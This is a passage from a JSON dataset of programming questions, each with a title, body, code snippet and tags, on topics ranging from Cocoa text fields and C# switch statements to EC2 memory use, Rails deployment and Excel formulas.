encrypted Vim file (i.e., one I can decrypt successfully), if I use Quick Look to
view the file or if I open it in TextEdit, I only see a single line of text that
reads something like . But when I open the file I'm having trouble with, I instead
get 130 lines of apparent ciphertext, with the first line beginning with (as
mentioned above).\n", ":X", "osx vim encryption dropbox cryptography"], "4409371":
["Force a NStextField to only accept Hex values", "I have two TextFields. One
accepts only numerical values and the other hex values. I am using to set the
numerical-only input, like:\n\nAnd then apply it to the TextField.\nHow do I do the
same but only accepting Hex values? By hex I mean 1234567890ABCDEF.\nAlternatively,
if it cannot be done, how do I check that the text on that TextField is hex?\
nThanks\n", "NSNumberformatter", "objective-c osx cocoa"], "2221043": ["Preventing
a message from being sent in android", "I know I can detect a message that is being
sent using the following code \n\nwhat I need to know, is it possible to prevent it
from going out or suspend it?\nThanks\n", "ContentResolver contentResolver =
context.getContentResolver();\
ncontentResolver.registerContentObserver(Uri.parse(\"content://sms\"),true,
myObserver);\n", "android sms android-contentresolver"], "3142443": ["Control
cannot fall through from one case label", "I am trying to write a switch statement
that would type the search term in the search field depending on whichever search
textbox is present. I have the following code. But I am getting a \"Control cannot
fall through from one case label\" error. Please let me know how to fix this.
Thanks in advance!\n\n\nControl cannot fall through from one case label
('case \"SearchBooks\":') to another\nControl cannot fall through from one case
label ('case \"SearchAuthors\":') to another\n\n", "switch (searchType)\n{\
ncase \"SearchBooks\":\n Selenium.Type(\"//*[@id='SearchBooks_TextInput']\",
searchText);\n Selenium.Click(\"//*[@id='SearchBooks_SearchBtn']\");\n\
ncase \"SearchAuthors\":\n Selenium.Type(\"//*[@id='SearchAuthors_TextInput']\",
searchText);\n Selenium.Click(\"//*[@id='SearchAuthors_SearchBtn']\");\n}\n",
"c# switch-statement"], "448680": ["AutoMapper Mapping fields to Class", "I'm
trying to accomplish the following. I have a DTO that returns values from the
database and I'd like to map the DTO to a Model. My model has a property that has
a class type. I'd like to set that property to a new instance of the class using
the values in the DTO. So here is some code that shows what I'm trying to do.\n\
nWhen I use the map created here, I end up with the ItemModel's ItemPart property
having values of 0 and ItemPartName of 'ItemPartName'\nPlease let me know if there
is anymore info I can provide and thanks for viewing.\n", "public class ItemDTO {\n
public int ItemID { get; set; }\n public int ItemPartID { get; set; }\n
public string ItemPartName { get; set; }\n}\n\npublic class ItemModel {\n public
int ItemID { get; set; }\n public ItemPartModel ItemPart { get; set; }\n}\n\
npublic class ItemPartModel {\n public int ItemPartID { get; set; }\n public
string ItemPartName { get; set; }\n}\n\n\npublic void DoMapping() {\n
Mapper.CreateMap<ItemDTO, ItemModel>()\n .ForMember(m => m.ItemPart, \n
dto => dto.MapFrom(ipm => new ItemPartModel() {\n
ItemPartID = ipm.ItemPartID, \n
ItemPartName = ipm.ItemPartName}));\n}\n", "automapper"], "3962122": ["Less-than
operator causes error \"not well-formed\" in xsl-if", "I'm going through the
w3cschools XSLT tutorial, and I am at this page: xsl-if.\nOn that page (in red) is
the text . This works. I modified the code to use and that works fine too. \n\nI
tested (note the use of instead of the ). This works too.\nBut this fails: .
Error is and it points to the symbol in the expression.If the symbol worked
fine, why did using the fail? (I'm using FireFox)\n", "<xsl:if test=\"price &gt;
10\">", "xml xslt"], "1642965": ["Is there an easy way to get characters from the
keyboard without hitting enter in Java?", "I'd like to know if there is an easy way
to get character input from a JTextField in Java as they happen, not after an enter
keystroke.\nIn my case I want the characters (text) to be read in, and when the
enter key is hit, do something with the characters already collected.\n", "", "java
get character jtextfield"], "2221040": ["When I try to add ActionListener to a
button, I cant,", "When I try to run this code, I get this error: Multiple markers
at this line\n - Line breakpoint:CastleDefenders [line: 45] - CastleDefenders()\
n - The method addActionListener(ActionListener) in the type AbstractButton is
not applicable \n for the arguments (CastleDefenders)\n\n", "public
CastleDefenders(){\n button = new JButton(\"Go!\");\n
lvl1.setToolTipText(\"Play the game on Easy\");\n lvl2.setToolTipText(\"Play the
game on Normal\");\n lvl3.setToolTipText(\"Play the game on Hard\");\n
lvl1.setActionCommand(\"Easy\");\n lvl2.setActionCommand(\"Normal\");\n
lvl3.setActionCommand(\"Hard\");\n lvls.add(lvl1);\n lvls.add(lvl2);\n
lvls.add(lvl3);\n pnl2.add(lvl1);\n pnl2.add(lvl2);\n pnl2.add(lvl3);\n
button.addActionListener(this);\n tlkt = Toolkit.getDefaultToolkit();\n timer
= new Timer();\n pnl2.setBounds(50, 5, 1, 10);\n btn.setBounds(220, 240, 5,
1);\n f.setJMenuBar(mb2);\n g.setJMenuBar(mb2);\n
mnuFile.add(mnuItemQuit);\n mnuHelp.add(mnuItemAbout);\n mb.add(mnuFile);\n
mb.add(mnuHelp);\n mb2.add(mnuFile);\n mb2.add(mnuHelp);\n pnl.add(btn);\n
pnl2.add(lbl);\n pnl2.add(button);\n lbl.setBounds(0, 240, 10, 2);\n
lbl.setEditable(false);\n f.getContentPane().setLayout(new BorderLayout());\n
f.getContentPane().add(pnl, BorderLayout.CENTER); \n
f.addWindowListener(new ListenCloseWdw());\n g.getContentPane().setLayout(new
BorderLayout());\n g.getContentPane().add(pnl2); \n g.addWindowListener(new
ListenCloseWdw());\n mnuItemAbout.addActionListener(new GetAboutInfo()); \n
btn.addActionListener(new GetButtonClick()); \n
mnuItemQuit.addActionListener(new ListenMenuQuit());\n add(button);\n\n\n}\n",
"java swing jbutton actionlistener"], "670214": ["Why isn't this working? It
doesn't even call the onClick", "\n", "<script type=\"text/javascript\">\n$
(\"a.filef\").click(function(e){\n alert('hi, it works');\n return false;\
n});\n\n</script>\n\n\n<a class=\"filef\" href=\"\" rel=\"1\">A</a>\n<a
class=\"filef\" href=\"\" rel=\"2\">V</a>\n", "javascript jquery debugging"],
"4451391": ["How can I change the default font size that is set on charts in a
PowerPoint template?", "As the title says I'm interested in knowing how I can
change the default font size that is set on charts in a specific PowerPoint
template. \nI'm not interested in using chart-templates for this, since I only want
the user to
have to use the PowerPoint-template, and not rely on any chart-templates.\nI know
you can change the default font size on that is set on tables via XML, but I can't
find any place in the XML that shows where the default font size for charts is
set.\nDoes anyone know if this could be done via XML?\n", "", "microsoft-office
microsoft-powerpoint xml charts microsoft"], "4772207": ["Remotely administrate a
machine", "I'm zero-knowledged about Windows administration, so my question is
really basic but nonetheless i wasn't able to find any reference.\nIf I am in a
network and I have administrative privileges on the various machine, how can I
remotely tweak users account settings? Like, I am Local\\Administrator, how can I
change Local\\JohnDoe's desktop on the machine Pc13 or enable/disable audio and so
on? Remote desktop is enabled on Pc13.\nThanks.\n", "", "windows remote-access"],
"2430824": ["How to output the nodes' values of a BST from highest to lowest?",
"This is a question I thought it would be easy but I found I'm wrong in the last. I
can finish the program without recursive but I want to ask whether this problem can
be finished in recursive version or not? \n", "", "c++ order binary-search-tree"],
"5045199": ["highlighting mx:datagrid individual cell on drag event", "I'm new to
flex and recently assigned a project where I need to work on datagrid to make it
able to highlight individual or multiple (but adjacent) cells based on the item
being dragged from a list. So scenario is like this...\nI'm using flex SDK 4.6. I
have a mx datagrid (I can't use spark or other version due to some restrictions)
with some dates as rows and time (00-23 hrs) in columns( so total 25 columns: 1st
column showing dates and rest 24 for hours). \nThat way we have each date acting as
row-header which runs through 24 columns for hours. I have a list which is getting
populated from an XML file and each item in the list has a date and time elements
associated with it. when we drag an item from the list into datagrid, it should
highlight particular cell(s) in the datagrid based on matching dates(from list item
being dragged and datagrid dates column) and matching hours (from list item being
dragged and datagrid hour columns). \nSo far I'm able to get the row index and
column index/indices on drag enter but getting them highlighted as a whole row-
column. for example if it turns out to be 3rd row and 4th-5th column, it highlights
whole 3rd row(all 25 columns) and all cells under 4th-5th column. what I need is to
get to a specific location like someCell(rowIndex:xx, ColIndex:YY) and change that
cell's style. There are some examples with item-renderer but they are using cell's
data to find if its less than or greater than some value and then maipulating it,
but I couldn't use it in my case.\nSecondly I want to replace the scrollbars with
two buttons(one at top and another at bottom) of the dates column to scroll the
dates. I'll be very thankful for any advise on that too.\nHope I've made the
questions/scenario clear. Thanks for having a look into it. Looking forward for a
helping hand from the community. This task is on urgent list...please help.\n", "",
"datagrid flex4 flex4.6 datagridcell"], "3980516": ["System references not being
recognized?", "I am not entirely sure how to better word this question, as I am not
entirely sure what the central cause is to these various reference problems, so I
apologize in advance for the vague title.\nI am writing apps in VS 2012 Express for
Windows 8, targeting a winRT (ARM) surface tablet.\nI am having multiple problems
with references apparently being recognized in their entirety. For simplicity, let
me illuminate with some examples.\nI am writing some code involving SOAP xml. \
nFirst, if I reference \"System.Xml\" (as well as System.Xml.Linq) by explicitly
including a \"using..\" line, it doesn't seem to actually do anything. \n\
nthrows \"The type or namespace name 'XmlDocument' could not be found\"\nLikewise
if I am more explicit:\n\nthrows \"The type or namespace name 'XmlDocument' does
not exist in the namespace 'System.Xml'\" as well as the original error message.\
nOk. I'm clearly missing something, but there's tons of google results for things
like this.\nI am running VS2012 on Windows 8 installed on VirtualBox, and thinking
perhaps my installation was hosed, I first tried simply reinstalling VS2012, then
repairing the installation when this did not seem to affect anything.\nNext, I
tried manually adding the reference to the .dll files in question. When I tried
this, VS would not allow it, saying they are already included by default.\nNext, I
tried manually opening the .csproj file for my project, and adding Reference
Include = \"... lines for a few references which I seemed to be missing (like I
said, I'm just using System.Xml as an example.) This didn't appear to change
anything, as I was getting exactly the same errors.\nNext, I went into \"Add or
Remove Programs\" on a google-inspired hunch and, through Control Panel ->
Add/Remove Programs, I turned on .Net Framework 4.5 Advanced Services. This
unfortunately did not seem to have any effect.\nAdding various .dll-containing
paths to \"Reference Paths\" also did not seem to affect anything at all (that
field was empty upon first installing VS.) \nI am stumped. Am I missing .dlls or
other files, even after repeated re-installation and repairs?\nNote that I was able
to at least create an XmlDocument by referencing Windows.Data.Xml,
Windows.Data.Xml.Dom but that namespace seems to be lacking some methods I need.\
n", "using System.Xml.Linq;\nusing System.Xml;\n...\nXmlDocument xmldoc = new
XmlDocument();\n", "c# windows-8 visual-studio-2012"], "5183930": ["How to make an
Ubuntu application integrated?", "I'm designing an application for Ubuntu and would
like to make it feel natural and integrated in the OS. What are the available
libraries, guidelines and frameworks that make an application look&feel native on
an Ubuntu/Unity desktop? I don't exclusively mean GUI toolkits, but features like
quicklists in Unity:\n\n", "", "language-agnostic ubuntu desktop-integration"],
"4370217": ["Can WHS backup Windows Server 2003/2008 Servers too?", "I like the
automatic backup feature - but perhaps Windows Server has its own function that I
don't know of. Is there one?\nI also like the scheme for data redundancy in Windows
Home Server, but I don't know if it will work with Windows Server 2003/2008 or if
it is crippled to only work with XP/Vista/7.\n", "", "windows-server-2008 windows-
server-2003 windows-home-server"], "2439311": ["Java Tower Defense Missile
Calculation", "I am trying to develop a small java 2d tower defense game and I have
run into problems trying to calculate how to do my missiles. After hours of
searching and testing I am even more confused. \nWhat I have so far is:\n\n4 cases
depending on where the tower is located according to the unit it is firing at (NW,
NE, SW, SE)\nI need to calculate the distance between the current target and the
tower the missile is coming from using the . \nScaling the x and y of the missile.\
n\nNow the problem I am running into is how to scale the incrementing x and y of
the missile towards the target so it seems realistic. Math is not my strong suit
and it is showing here. Below I have show what I have for the SE quadrant from the
tower.\n\n", "Math.sqrt(x2, x1, y2, y1)", "java math 2d game-physics"], "2811630":
["boost::bind with protected members & context", "In the below code, there are
two \"equivalent\" calls to using expressions. The indicated line compiles, the
indicated failing line fails. The best explanation I can find in the standard
amounts to \"because we said so\". I'm looking for \"why the standard indicates
this behavior\". My suppositions are below.\nMy question is simply: Why does the
indicated line compile and the equivalent following line fail to compile (and I
don't want because \"the standard says so\", I already know that - I will not
accept any answers that give this as an explanation; I'd like an explanation as to
why the standard says so).\nNotes: Although I use boost, boost is irrelevant to
this question, and the error in various formats has been reproduced using g++ 4.1.*
and VC7.1.\n\nThe indicated line fails with this error:\nmain.C: In member function
'void Derived::test()':\nmain.C:9: error: 'void Base::foo(int)' is protected\
nmain.C:31: error: within this context\nAs noted, the supposedly equivalent
statement above compiles cleanly (and if the offending statement is commented out,
runs with the expected result of printing \u201c5\u201d, \u201c6\u201d, \u201c7\
u201d on separate lines).\nWhile searching for an explanation, I came across 11.5.1
in the standard (specifically, I\u2019m looking at the 2006-11-06 draft):\n\nAn
additional access check beyond\n those described earlier in clause 11\n is
applied when a non-static data\n member or nonstatic member function is\n a
protected member of its naming class\n (11.2)105) As described earlier,\n access
to a protected member is\n granted because the reference occurs\n in a friend or
member of some class C.\n If the access is to form a pointer to\n member (5.3.1),
the\n nested-name-specifier shall name C or\n a class derived from C. All other\n
accesses involve a (possibly implicit)\n object expression (5.2.5). In this\n
case, the class of the object\n expression shall be C or a class\n derived from
C.\n\nAfter reading this, it became evidently why the second statement failed while
the first succeeded, but then the question came up: What is the rationale for
this?\nMy initial thought was that the compiler was expanding the boost::bind
templates, discovering that Base::foo was protected and kicking it out because
boost::bind<\u2026> was not a friend. But, the more I thought about this
explanation, the less it
made sense, because if I recall correctly, as soon as you take the pointer to a
member (assuming you initially are within access control of the member), all access
control information is lost (i.e. I could define a function that returns an
arbitrary pointer to a member that alternately returns a public, protected or
private member depending on some input and the returner would be none the wiser).\
nMore I thought about it, and the only plausible explanation I could come up with
why it should make a difference was in the case of multiple inheritance.
Specifically, that depending on the class layout, the member pointer when
calculated from Base would be different than that calculated from Derived.\n",
"std::for_each", "c++"], "2373950": ["Preferred way to create a scala list", "There
are several ways to construct an immutable list in scala (see contrived example
code below). You can use a mutable ListBuffer, create a var list and modify it,
use a tail recursive method, and probably others that I don't know about. \
nInstinctively, I use the ListBuffer but don't have a good reason for doing so. Is
there a preferred or idiomatic method for creating a list, or are there situations
that are best for one method over another? \n\n", "import
scala.collection.mutable.ListBuffer\n\n// THESE are all the same as: 0 to 3
toList.\ndef listTestA() ={\n var list:List[Int] = Nil\n\n for(i <- 0 to 3)
list = list ::: List(i)\n\n list\n}\n\n\ndef listTestB()={\n val list = new
ListBuffer[Int]()\n\n for (i <- 0 to 3) list += i\n\n list.toList\n}\n\n\ndef
listTestC() ={\n\n def _add(l:List[Int], i:Int):List[Int] = i match {\n case
3 => l ::: List(3)\n case _ => _add(l ::: List(i), i +1)\n }\n _add(Nil,
0)\n\n}\n", "scala"], "2832745": ["encapsulate the twitter bootstrap modal", "I'm
trying to use the modal feature from twitter bootstrap, my ideas was to build some
kind of generic dialog that could be reused by loading in different form markup.
But it looks like I am in way over my head at this point. Here is my code.\
ncontroller\nThere are two methods, one for getting the form markup, and one for
posting the form.\n\nhtml\nHere is the form that is returned\n\n\nscript\nHere is
the script that is supposed to wire it all up. The action function is passed in to
the dialog.\n\ndialog script\n\nMy biggest problem (to my knowledge :)) is that I
can't figure out how to pass in a function to the registerSaveAction function and
then \"attach\" to internal functions that can handle success or failure. It has
all become to complex. Am I going down the wrong path here? What better ways to do
this are there (probably many)? I'm thankful for tips on getting this to work or
other better ways of doing this\n", " [HttpGet]\n public PartialViewResult
GetOrderHeadForm(string id)\n {\n var order =
this.orderRepository.Load(id);\n\n var model = new EditOrderHead\n {\
n OrderId = order.GetId(),\n CustomerId =
order.GetCustomerInfo().CustomerDocumentId,\n CustomerNumber =
order.GetCustomerInfo().Number,\n CustomerName =
order.GetCustomerInfo().Name,\n MachineNumber =
order.GetMachineInfo().Number,\n MachineName =
order.GetMachineInfo().Name,\n LitteraNumber =
order.GetLitteraNumber(),\n Location = order.GetLocation()\n };\
n\n return this.PartialView(\"_OrderHeadForm\", model);\n }\n\n
[HttpPost]\n public ActionResult EditOrderHead(EditOrderHead model, CurrentUser
user)\n {\n if (!ModelState.IsValid)\n {\n return
this.PartialView(\"_OrderHeadForm\", model);\n }\n\n var command =
new EditOrderHeadCommand(model.OrderId, model.LitteraNumber, model.Location,
user.Id);\n this.commandInvoker.Execute(command);\n\n return
this.Json(new { success = true });\n }\n", "javascript jquery twitter-bootstrap
asp.net-mvc-4"], "1861563": ["If database shows --None-- show pull down menu, if
other show data entered", "I've come a long way with this script, but I am running
into a new issue now. The data has posted correctly, but when I attempt to view the
edit the pull down menu now shows --None-- even though the first name, \"Any Kahl\"
is shown in the database. \nThe code below is what I'm using, I can't seem to
understand why it's not pulling data the correct way. Any help would be greatly
appreciated.\n\n", "if ($row['fab1']==\"--None--\")\n{\n echo'<div
id=\"fab1\">';\n $mysqli = new mysqli(DB_HOST, DB_USER, DB_PASSWORD, DB_NAME); \
n $mysqli->select_db('user');\n $result = $mysqli->query(\"SELECT * FROM
user\"); \n echo \"<SELECT name='fab1'>\\n\";\n while($row = $result-
>fetch_assoc())\n {\n echo \"<option
value='{$row['user']}'>{$row['user']}</option>\\n\";\n }\n echo \"</select>\\
n\";\n echo '</div>';\n}\nelse\n{\n echo'<div id=\"fab1\">';\n $mysqli =
new mysqli(DB_HOST, DB_USER, DB_PASSWORD, DB_NAME); \n $mysqli-
>select_db('user');\n $result = $mysqli->query(\"SELECT * FROM user\"); \n
echo \"<SELECT name='fab1'>\\n\";\n while($row = $result->fetch_assoc())\n {\
n echo \"<option value='{$row['user']}'>{$row['user']}</option>\\n\";\
n }\n echo \"</select>\\n\";\n echo '</div>';\n}\n", "php mysql drop-down-
menu"], "3087377": ["Geocoding google map string format for colombia addresses?",
"I'm trying to get the latitude and longitude from a colombian address but the
result is not exactly, anyone knows what is the format for using geocoding for my
country (Colombia).\nThe colombian addresses are like \"Calle x Carrera y \"\n",
"", "javascript google-maps geocoding"], "3435276": ["Time complexity of quadratic
programming", "I am using the Matlab built-in quadprog to solve a quadratic program
with linear constraints. I vaguely recalled from school that the time complexity of
quadratic programming should be $O(n^3)$, and I assume n refers to the number of
decision variables. However, when I experimentally compute the execution time as a
function of the number of variables in Matlab, the execution time actually
increases less than linearly with more variables. Increasing the number of
variables from 10 to 100 only increases the execution time by 5 times. I am very
puzzled by this result and perhaps what I remembered is wrong. Can anyone shed some
light on the time complexity of quadratic program in theory and in practice?\n",
"", "optimization matlab"], "3435279": ["Random process x(t) =C and C is uniform
over [-2,3]", "I need reassurance that if I do a a few sample realizations of this
random process they are all going to look the same. They are going to be an
horizontal line with x(t) constant equal to 1/5.\nI see how this random process is
define and it doesn't depend of time. Its a WSS process\n", "", "probability
sequences-and-series probability-distributions stochastic-processes random"],
"4861441": ["Many-to-many association with multiple self-joins in ActiveRecord", "I
am trying to implement multiple relations between records of the same model via
self-joins (based on @Sht\u00e9\u00e9f's answer). I have the following models\n\
nWith this setup I can successfully access the lists of subordinates and managers
for each record. However, I have difficulties to create relations in the following
way\n\nThe problem is that it does not set type of relations, so I have to write\n\
nAm I doing something wrong?\n", "create_table :relations, force: true do |t|\n
t.references :employee_a\n t.string :rel_type\n t.references :employee_b\
nend\n\nclass Relation < ActiveRecord::Base\n belongs_to :employee_a, :class_name
=> 'Employee'\n belongs_to :employee_b, :class_name => 'Employee'\nend\n\nclass
Employee < ActiveRecord::Base\n has_many :relations, foreign_key: 'employee_a_id'\
n has_many :reverse_relations, class_name: 'Relation', foreign_key:
'employee_b_id'\n\n has_many :subordinates, through: :relations, source:
'employee_b', conditions: {'relations.rel_type' => 'manager of'}\n
has_many :managers, through: :reverse_relations, source: 'employee_a', conditions:
{'relations.rel_type' => 'manager of'}\nend\n", "ruby-on-rails activerecord many-
to-many associations self-join"], "2444221": ["Amazon EC2 - Free memory", "We have
an amazon ec2 small instance running and over the past few days we noticed that the
memory is going down and down.\nOn the small instance, we are running apache and
tomcat6\nTomcat is started with the following JVM parameters -Xms32m -Xmx128m -
XX:PermSize=128m -XX:MaxPermSize=256m \nWe use nagios to monitor stuff like updates
to apply, free disk space and memory.\nEverything else is behaving as expected but
our memory is going down all the time.\nOur app receives approx half a million hits
a day\nWhen I shutdown apache and tomcat, and ran free -m, we had only 594mb of
memory free out out of the 1.7gb of memory.\nNot much else is running on the small
instance and when running the top command I cannot see where the memory is going.\
nThe app we run on tomcat is a grails webapp.\nCould there be a possibility that
there is a memory leak within our application?\nI read online and folks say that a
small amazon instance is perfect for running apach and tomcat.\nI found a few posts
online that showed how to setup apache and tomcat to limit the memory usage and I
have already performed those steps. The memory is not being used up as quick but
the memory is still decreasing over time.\nWe have other amazone ec2 small
instances running grails apps and the memory is fairly standard on those nodes. But
they would not be receiving as much traffic\nJust to add, when I run the top
command on the problem server, I cannot see where all the memory is being used\nAny
help with this is greatly appreciated\nThe output of free -m when run on my server
is as follows\n\nIn your
opinion, does this look ok?\nAt what stage would the OS give back memory, would it
wait to the memory reaches 0% or is this OS dependent?\n", " total
used free shared buffers cached\nMem: 1657 1380
277 0 158 773\n-/+ buffers/cache: 447 1209\
nSwap: 895 0 895\n", "apache2 amazon-ec2 tomcat6"],
"2444220": ["OpenGL roll game camera", "I'm using OpenGL ES to draw my images and I
currently my view setups are these:\n\nI want to roll my whole view on Z axis but I
can't use glRotate(). Because my objects are moving from the right to the left and
when I do that I have to add offset to their Y position. I need a way to rotate
whole view on Z axis like camera roll so the objects are gonna move on Y position
automatically. I've tryed to add y offset by multiplying (ScreenWidth -
ObjPositionX) and sin(Zroll) but this has some visual problems objects are not
staying in their position perfectly. Thank you for any help... \n\nEdit\n\nOk
someones wanted me to be more Clear. So the function glRotate is rolling my objects
over their orgin. But I need a way to roll whole view on Z axis as it's orgin is
center of view not the single object. So if the object is on the left side of
center it will be seen higher. If objects is on the right side it will seen lower.\
n", " gl.glClearColor(0.6f, 0.6f, 1f, 1f);\n gl.glClearDepthf(1.0f);\n
gl.glViewport(0, 0, varScreenWidth, varScreenHeight);\n
gl.glShadeModel(GL10.GL_SMOOTH);\n gl.glDisable(GL10.GL_DEPTH_TEST);\n
gl.glEnable(GL10.GL_TEXTURE_2D);\n gl.glMatrixMode(GL10.GL_PROJECTION);\n
gl.glHint(GL10.GL_PERSPECTIVE_CORRECTION_HINT, GL10.GL_NICEST);\n
gl.glLoadIdentity();\n gl.glViewport(0, 0, width, height);\n
gl.glMatrixMode(GL10.GL_PROJECTION);\n gl.glOrthof(0f, width, 0f, height, -10f,
10f);\n gl.glMatrixMode(GL10.GL_MODELVIEW);\n gl.glLoadIdentity();\n",
"android iphone opengl-es"], "2221046": ["Removing supend and hibernate
privileges", "On OpenSUSE 12.1 x86_64, Gnome 3.2 . I want to remove the suspend and
hibernate options from the Gnome (Shell) menu as\n\nsuspend makes no sense IMO for
a desktop\nhibernate has a slight tendency to lock up\n\nI've found that I should
configure these privileges using polkit. I've dropped a file named ( also tried )
in with the following contents:\n\nHowever, running prints nothing and has an
exit code of 0 , and the menu entries are still present. AFAICT these are provided
by package.\nHow can I remove the suspend and hibernate entries from the Gnome
Shell menu and leave only Power Off?\n", "90-disable-suspend.conf", "opensuse
gnome3 suspend hibernate policykit"], "4059504": ["Aspects scanning too many
classes and method cache fills memory", "In our application we have several
(actuall many, about 30) web services. Each web service resides in its own WAR file
and has its own Spring context that is initialised when application starts. \nWe
also have a number of annotation-driven aspect classes that we apply to web service
classes. In the begining the poincut expression looked like this:\n\nAnd AOP was
enabled on services through entry in configuration.\nBut when the number of web
serivces grew, we began to experience s on our servers. After doing some profiling
and analysis it appeared that memory is taken by the cache that is kept by
instances of AspectJExpressionPointcut class.\nEach instance's cache was about 5
MBs. And as we had 3 aspects and 30 services it resulted in 90 instances holding
450MBs of data in total.\nAfter examining the contents of the cache we realised
that it contains Java reflection Method instances for all classes existing in the
WAR even those which are not part of my.package.service.business package. After
modifing the point cut expression to have additionally clause: \n\nMemory usage
was down to normal again. And all AspectJExpressionPointcut instances took less
than 1MB all together.\nCan someone explain why is that? And why first point cut
expression is not enough? Why the cache of is not shared?\n",
"@Pointcut(\"execution(public *
my.package.service.business.*BusinessServiceImpl.*(..))\")\n public void
methodsToBeLogged() {\n }\n", "aop expression aspectj spring-aop pointcut"],
"5236376": ["How can I do this int pattern check more efficiently?", "Here is some
code that takes an int error code (scode) and tries to see if it fits a certain
pattern. Should I be using the modulo division operator to be doing this?\n\
nBackground: I had to deduce the value of MASK_SYNTAX_ERR through observation. Here
are the various syntax error codes that I observed:\n\nHere are a couple of logic
error codes for comparison:\n\n(Trivia: The code itself is calling
IActiveScriptError.GetSourceLineText, this is from a
IActiveScriptSite.OnScriptError implementation.)\n", "const int MASK_SYNTAX_ERR = -
2146827000;\nif ((MASK_SYNTAX_ERR % scode) == MASK_SYNTAX_ERR)\n
scriptError.GetSourceLineText(out sourceLine);\n", "c# math .net-3.5 error-handling
binary"], "1504735": ["Rails 3.2.3 Application Not Launching in Nginx 1.0.15 Using
Passenger 3.0.13", "I am using a Mac Mini Server running Lion Server 10.7.4. I
have Apache 2 installed with no changes made to it. I hope to eventually do all
web hosting using Nginx once I learn more about how web servers work. I currently
have the Web Service on for nine websites I currently host on the server.\nI have
created a Rails Application where there are no views. images or stylesheets in the
public folder. I installed gem passenger 3.0.13, the latest version at the time.
I did a custom install of Passenger using version Nginx 1.0.15 to get around a
crazy PCRE error I was getting using the latest stable version 1.2.1.\nI am not
using port 80 or 8080 for Nginx. I tried using port 8080 but got the following
error. I assume that Apache was using it somewhere. When I changed the port
number I was able to get nginx to start.\n\nWhen I executed passenger-status I get
the following:\n\nWhen I try to pull up the domain that I set up in the nginx
config file I get the default Lion Server wiki page.\nHere is my config file with
fake names for any identifying information:\n\nI know that the Passenger
documentation states that you are supposed to point to the public folder where your
images & stylesheets are stored. As I stated there is nothing there. I originally
had the root pointing to /public but it displayed the Lion Server default page. I
decided to change it to /app where all my images, stylesheets, views, mailers, etc.
are located. I get the same Lion Server default page. I then thought that maybe
the DNS settings for the domain had to be deleted in Server Admin. Had no effect
whatsoever. I have also rebooted the Mac Mini Server to no avail.\nWith my
research I have not been able to find any documentation where people have
successfully hosted a Rails application using Passenger where the data was not
located in the public folder. I just completed the Ruby On Rails Tutorial
developed by Michael Hartl. All the assets and views are in the app folder, not
the public folder. I am rewriting one of our websites to use a database using that
tutorial as a model. Hopefully I will not have to rewrite my application.\nI have
tried to change the port on one of my test websites to the port used for Nginx and
add entries in the config file to see if I could still pull up the website. I was
unsuccessful. I'm not sure if the issue could be that I cannot run both Apache &
Nginx on the same machine. I would think I could since both of them are using
different ports. I'm not sure where to go from here.\nAny help will be greatly
appreciated. I will continue searching in the meantime.\n", "nginx: [emerg] bind()
to 0.0.0.0:8080 failed (48: Address already in use) \n", "apache2 nginx phusion-
passenger ruby-on-rails-3"], "5926856": ["Document Sets and Client Object Model",
"What are the options to manage documents sets using Client Object Model?\nI need
to create new document sets and upload some files in them...\n", "", "document-
library client-object-model"], "4638999": ["Linux zram (compcache) + SwapCached",
"I have a question about zram + swapcached. I know that zram is a\ncompressed swap
in memory, but linux use it's own internal SwapCached\narea to store recent swap
pages also in memory. I have a 512MB laptop\nwith a ~128MB zram swap drive. \
nzram_stats says: \n\nand:\n\nDoes it mean I have these swap pages in RAM twice?
The first is compressed, and the second is uncompressed by Linux's internal
swapcache feature?\nIf true, it's not very useful to save ~57MB while it's also in
RAM with ~90MB. \nCan I disable Linux's swapcache feature at all when I'm swapping
to zram? Or can I limit the maximum swapcached area?\n", "orig_data_size:
97419264 \ncompr_data_size: 40315919 \n", "linux compression cache swap"],
"3424155": ["Adding row to DataGridView from Thread", "I would like to add rows to
DataGridView from two seperate threads. I tried something with delegates and
BeginInvoke but doesn't work.\nHere is my row updater function which is called from
another function in a thread.\n\n", " public delegate void
GRIDLOGDelegate(string ulke, string url, string ip = \"\");\n private void
GRIDLOG(string ulke, string url, string ip = \"\")\n {\n\n if
(this.InvokeRequired)\n {\n // Pass the same function to
BeginInvoke,\n // but the call would come on the correct\n //
thread and InvokeRequired will be false.\n object[] myArray = new
object[3];\n\n myArray[0] = ulke;\n myArray[1] = url;\n
myArray[2] = ip;\n\n this.BeginInvoke(new GRIDLOGDelegate(GRIDLOG),\n
new object[] { myArray });\n\n return;\n
}\n\n //Yeni bir sat\u0131r daha olu\u015ftur\n string[]
newRow = new string[] { ulke, url, ip };\n dgLogGrid.Rows.Add(newRow);\
n }\n", "c# datagridview multithreading"], "2336986": ["Name and implementations
of the special \"+\" tab", "I have always been wondering whether the special \"+\"
tab used to add other tabs (as in internet browsers) had a special name.\nAlso, is
there any popular framework (Qt, wxWidgets, etc...) that has a built-in feature for
that in its Notebook/TabWidget?\nEDIT: Some asked why would such a feature exist
while it's simple to implement it. Well, the answer is simple: every widely used
feature deserve a dedicated component. It may be simple to implement in a classic
tab widget, but it becames harder to do when we can move the tabs (this special one
should always be the last) or when it's possible to close the tabs without having
to have them selected (in some tab widgets, there's a cross to close the tab on
every tab).\nWell, considering the different frameworks, it may be simpler or
harder to implement. Hence this question to know whether the feature is standard
enough to have a dedicated name and some \"built-in\" implementations in some
frameworks :)\n", "", "qt gui tabs widget wxwidgets"], "4937063": ["What is the
purpose of MD5 hashing if it can be easily cracked?", "I understand that passwords
should be encrypted in databases to protect them from hackers and people with bad
intentions. But MD5 was renewed in 2005. Since then, hackers found the inverse hash
function and a lot of website can easily crack the MD5 hashed key, for example
md5this.com which was one of the first suggested on google.\nShouldn't each web
developper create their own hash functions so that the hackers can't retrieve the
password if they get access to the database ? \n", "", "database encryption hash
md5"], "2873504": ["Show content of Lotus Notes mail in browser using IMAP", "I
have to implement the following in Java. I have a search result which is a list of
emails (breve description) as link. I want that when the user click on the link,
the web application should open a popup to show the content of the email. But the
email is a lotus notes email and I have to user IMAP to open the mail. \nIf this
can be done in an other language or from the commadline, it will be highly
appreciated.Can anybody help me with this.\n", "", "java email imap lotus-notes"],
"3527150": ["How to sum cells depending on the content of a neighbor cell", "I have
an Excel document with the following columns;\n\nI am trying to find a way of
summarising the content in the following way;\n\nSo far the only way I have been
able to achieve this is to filter the list by each reference number (manually) and
then add a simple SUM formula to the bottom of the list of amounts.\nAre there any
tricks that anyone knows that may speed this up?\nWhat I am trying to achieve is a
spreadsheet that highlights each reference number that collectively exceeds over \
u00a32,000. \n", "Date | Reference | Amount\n23/01/11 | 111111111
